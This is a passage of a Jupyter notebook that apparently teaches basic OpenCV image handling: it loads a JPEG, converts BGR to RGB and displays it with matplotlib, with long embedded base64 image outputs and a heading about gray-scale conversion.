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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "img = cv2.imread('test.jpg')\n", - "rgb_img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n", - "plt.imshow(rgb_imgb_img);\n", - "plt.show()\n", - "# cv2.imshow(\"test\",img)\n", - "# cv2.waitKey(0)" - ] - }, - { - "cell_type": "markdown", - "id": "c830a352", - "metadata": {}, - "source": [ - "### Converting image to Gray color" - ] - }, - { - "cell_type": "code", - "execution_count": 15, - "id": "b4aadaf7", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 15, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": 